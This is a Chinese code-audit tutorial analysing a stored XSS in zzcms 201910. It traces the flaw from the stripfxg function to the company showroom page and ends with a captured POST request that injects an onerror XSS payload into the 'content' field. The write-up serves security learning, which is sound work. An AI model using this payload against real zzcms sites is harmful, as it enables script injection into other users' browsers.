1. 程式人生 > 實用技巧 >程式碼審計學習—zzcms儲存型xss

程式碼審計學習—zzcms儲存型xss

程式碼審計學習—zzcms儲存型xss

版本:zzcms 201910

本地搭建網站

漏洞位置:

網站/inc/function.php

在stripfxg函式中,存在使用方法htmlspecialchars_decode($string),對htmlspecialchars($string) 過濾(所有傳入引數都進行了過濾)後的引數進行解碼,導致可能存在xss漏洞。

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜槓 
$string=stripslashes($string); 
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string); }
if ($nl2br==true){
$string=nl2br($string);
}
return $string; 
}

由stripfxg函式可知,當函式被呼叫,且第二個引數$htmlspecialchars_decode為true時,htmlspecialchars_decode() 方法被呼叫。

查詢stripfxg函式被呼叫的地方:

在 /zt/show.php 找到stripfxg函式被呼叫,且$htmlspecialchars_decode=true

返回值在此頁面列印輸出;show.php頁面是一個展示頁面(註冊後發現是‘公司展廳頁面’,可能觸發xss)

查詢stripfxg 函式第一個引數 $contert 來源

在show.php 包含檔案 top.php 找到了引數 $contert

通過分析程式碼發現 content 是使用者表中的一個欄位

zt/top.php

檢視資料庫發現確實存在 content 欄位

然後考慮如何可以通過修改 zzcms_user 表來控制修改 content欄位

繼續查詢,發現

在admin/usermodify.php 找到 content 欄位修改的sql語句

向上查詢分析修改語句條件

即在使用者進行資訊修改時可控制content 引數

驗證:

註冊

注測公司/個人使用者;公司使用者直接訪問公司展廳頁面觸發xss(個人使用者通過構造id進入展廳頁面 show.php)

修改個人資訊 控制 content引數

抓包,修改content引數:

POST /user/manage.php?action=modify&a=siteconfig.phpHTTP/1.1

Host: www.zzcms.com

Content-Length: 384

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://www.zzcms.com

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://www.zzcms.com/user/manage.php

Accept-Language: zh-CN,zh;q=0.9

Cookie: bdshare_firstime=1591108514281; __51cke__=; PHPSESSID=qeumh4nf9hi81d2mn5gv4lu4aj; UserName=root;

PassWord=63a9f0ea7bb98050796b649e85481845; __tins__713776=%7B%22sid%22%3A%201591687530623%2C%20%22vd%22%3A%209%2C%20%22

expires%22%3A%201591689665881%7D; __51laig__=9

Connection: close

somane=%E7%8E%8B%E4%BC%9F&sex=0&email=111%40qq.com&qq=&oldqq=&mobile=&Submit2=%E4%BF%AE%E6%94%B9&b=0&s=0

&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA

&xiancheng=&address=&homepage=&phone=18899999999&fox=&content=%26nbsp%3B&img=%2Fimage%2Fnopic.gif&oldimg=%2Fimage%2Fnopic.gif&flv=&oldflv=

&content=<img+src=x+onerror=alert`1`>

訪問展廳頁面:

資料已儲存在資料庫中: